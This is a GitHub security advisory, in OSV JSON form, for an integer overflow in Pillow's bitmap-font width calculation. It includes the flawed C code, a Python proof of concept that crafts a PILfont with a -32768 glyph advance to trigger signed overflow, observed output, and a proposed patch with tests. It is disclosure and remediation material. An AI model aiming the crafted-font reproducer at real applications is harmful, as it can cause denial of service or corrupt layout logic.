{"id":"GHSA-4rm8-3hmm-39fg","summary":"Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise","details":"### Summary\nAffected Object and Source\n\nPackage: Pillow 12.3.0\nSource: PyPI sdist pillow-12.3.0.tar.gz\nSHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce\nSink: src/_imaging.c:2809:15, xsize += dx\n\n### Details\nThe code in Pillow 12.3.0 is:\n```c\nfor (xsize = 0; *text; text++) {\n    int dx = self-\u003eglyphs[*text].dx;\n    if (dx \u003e 0 && xsize \u003e INT_MAX - dx) {\n        PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n        return -1;\n    }\n    xsize += dx;\n}\n```\nThe PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves:\n`dx \u003e 0 =\u003e xsize \u003c= INT_MAX - dx`\nIt does **not** prove the other half of the contract:\n`dx \u003c 0 =\u003e xsize \u003e= INT_MIN - dx`\nTaking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**.\n\n### PoC\n```python\n\"\"\"Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.\n\nRun with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with\nthe PyC-Contract UBSan build to obtain the exact native diagnostic.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport struct\nfrom io import BytesIO\n\nimport PIL\nfrom PIL import Image, ImageFont\n\n\nADVANCE = -(2**15)\nCONTROL_REPEAT = 65_536\nWITNESS_REPEAT = 65_537\n\n\ndef bitmap_font(advance: int) -\u003e ImageFont.ImageFont:\n    metrics = bytearray(256 * 20)\n    glyph_offset = ord(\"A\") * 20\n    metrics[glyph_offset : glyph_offset + 2] = struct.pack(\"\u003eh\", advance)\n    font_data = b\"PILfont\\n;;;;;;1;\\nDATA\\n\" + bytes(metrics)\n    font = ImageFont.ImageFont()\n    font._load_pilfont_data(BytesIO(font_data), Image.new(\"1\", (1, 1)))\n    return font\n\n\ndef main() -\u003e None:\n    font = bitmap_font(ADVANCE)\n    print(f\"Pillow={PIL.__version__}\")\n    print(f\"control_math={ADVANCE * CONTROL_REPEAT}\")\n    print(f\"control_return={font.getlength('A' * CONTROL_REPEAT)}\")\n    print(f\"witness_math={ADVANCE * WITNESS_REPEAT}\")\n    print(f\"witness_return={font.getlength('A' * WITNESS_REPEAT)}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nObservations from a regular 12.3.0 release build:\n\n```text\nPillow=12.3.0\ncontrol_math=-2147483648\ncontrol_return=0\nwitness_math=-2147516416\nwitness_return=2147450880\n```\n\nThe adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`.\n\n\n### Impact\nThe directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.\n\nTherefore, the current recommended severity rating is \"Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model\", rather than a memory corruption vulnerability.\n\n### Recommended Patch and Regression Tests\n\nIt is recommended to extend the overflow check to cover both directions:\n```c\nif ((dx \u003e 0 && xsize \u003e INT_MAX - dx) ||\n    (dx \u003c 0 && xsize \u003c INT_MIN - dx)) {\n    PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n    return -1;\n}\n```\nAt a minimum, four test cases should be added:\n1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed);\n2. `dx = 32767, repeat = 65539` — should raise `OverflowError`;\n3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed);\n4. `dx = -32768, repeat = 65537` — should raise `OverflowError`.\n\nAdditionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`.","aliases":["CVE-2026-96641"],"modified":"2026-10-22T16:15:06.955193558Z","published":"2026-10-22T16:01:14Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-22T16:01:14Z","nvd_published_at":"2026-10-21T21:20:32Z","cwe_ids":["CWE-190"]},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96641"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10010"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4rm8-3hmm-39fg/GHSA-4rm8-3hmm-39fg.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}]}